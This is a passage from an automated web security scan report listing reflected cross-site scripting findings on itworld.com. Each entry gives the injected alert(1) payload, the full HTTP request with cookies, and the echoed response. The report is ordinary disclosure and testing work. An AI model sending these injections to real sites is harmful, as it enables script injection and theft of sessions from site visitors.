<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modulesb5a10"-alert(1)-"3622409f49d/itw_sharebar/js/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you r
...[SNIP]...

1.436. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5800"-alert(1)-"72ba2ce17d6 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_sharebarc5800"-alert(1)-"72ba2ce17d6/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460595"
Content-Type: text/html; charset=utf-8
Content-Length: 57543
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:56 GMT
X-Varnish: 1038168914
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_sharebarc5800"-alert(1)-"72ba2ce17d6/js/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s
...[SNIP]...

1.437. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b96e"><script>alert(1)</script>26c058fd282 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/itw_sharebar5b96e"><script>alert(1)</script>26c058fd282/js/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:29:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460589"
Content-Type: text/html; charset=utf-8
Content-Length: 57763
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:29:50 GMT
X-Varnish: 1038168766
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar5b96e"><script>alert(1)</script>26c058fd282/js/sharebar.js?h"/>
...[SNIP]...

1.438. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 791b8"><script>alert(1)</script>5e95c69977f was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/itw_sharebar/js791b8"><script>alert(1)</script>5e95c69977f/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:07 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460607"
Content-Type: text/html; charset=utf-8
Content-Length: 57762
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:11 GMT
X-Varnish: 1038169250
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js791b8"><script>alert(1)</script>5e95c69977f/sharebar.js?h"/>
...[SNIP]...

1.439. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c523"-alert(1)-"388981f0276 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_sharebar/js4c523"-alert(1)-"388981f0276/sharebar.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:23 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460623"
Content-Type: text/html; charset=utf-8
Content-Length: 57542
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:30 GMT
X-Varnish: 1038170032
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_sharebar/js4c523"-alert(1)-"388981f0276/sharebar.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eV
...[SNIP]...

1.440. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0b25"-alert(1)-"0df57b6dd13 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/itw_sharebar/js/sharebar.jse0b25"-alert(1)-"0df57b6dd13?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460645"
Content-Type: text/html; charset=utf-8
Content-Length: 57542
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:46 GMT
X-Varnish: 1038171209
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
6-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.jse0b25"-alert(1)-"0df57b6dd13";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.441. http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d79ee"><script>alert(1)</script>a2f1b1b3a56 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/itw_sharebar/js/sharebar.jsd79ee"><script>alert(1)</script>a2f1b1b3a56?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:30:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460640"
Content-Type: text/html; charset=utf-8
Content-Length: 57763
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:30:41 GMT
X-Varnish: 1038171122
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/itw_sharebar/js/sharebar.jsd79ee"><script>alert(1)</script>a2f1b1b3a56?h"/>
...[SNIP]...

1.442. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 860bc"><script>alert(1)</script>73cd20ac68e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites860bc"><script>alert(1)</script>73cd20ac68e/all/modules/itw/modules/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:30 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460150"
Content-Type: text/html; charset=utf-8
Content-Length: 57764
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:35 GMT
X-Varnish: 252446356
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites860bc"><script>alert(1)</script>73cd20ac68e/all/modules/itw/modules/lyris/js/jquery.bgiframe.js?h"/>
...[SNIP]...

1.443. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f5ae"-alert(1)-"1b0777b373f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites5f5ae"-alert(1)-"1b0777b373f/all/modules/itw/modules/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:44 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460164"
Content-Type: text/html; charset=utf-8
Content-Length: 57544
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:51 GMT
X-Varnish: 252446539
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites5f5ae"-alert(1)-"1b0777b373f/all/modules/itw/modules/lyris/js/jquery.bgiframe.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We coul
...[SNIP]...

1.444. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8e70"-alert(1)-"b68da0266e9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesd8e70"-alert(1)-"b68da0266e9/itw/modules/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:20 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460320"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:38 GMT
X-Varnish: 1038160205
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesd8e70"-alert(1)-"b68da0266e9/itw/modules/lyris/js/jquery.bgiframe.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find th
...[SNIP]...

1.445. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4f50e"-alert(1)-"b76f84f26e6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

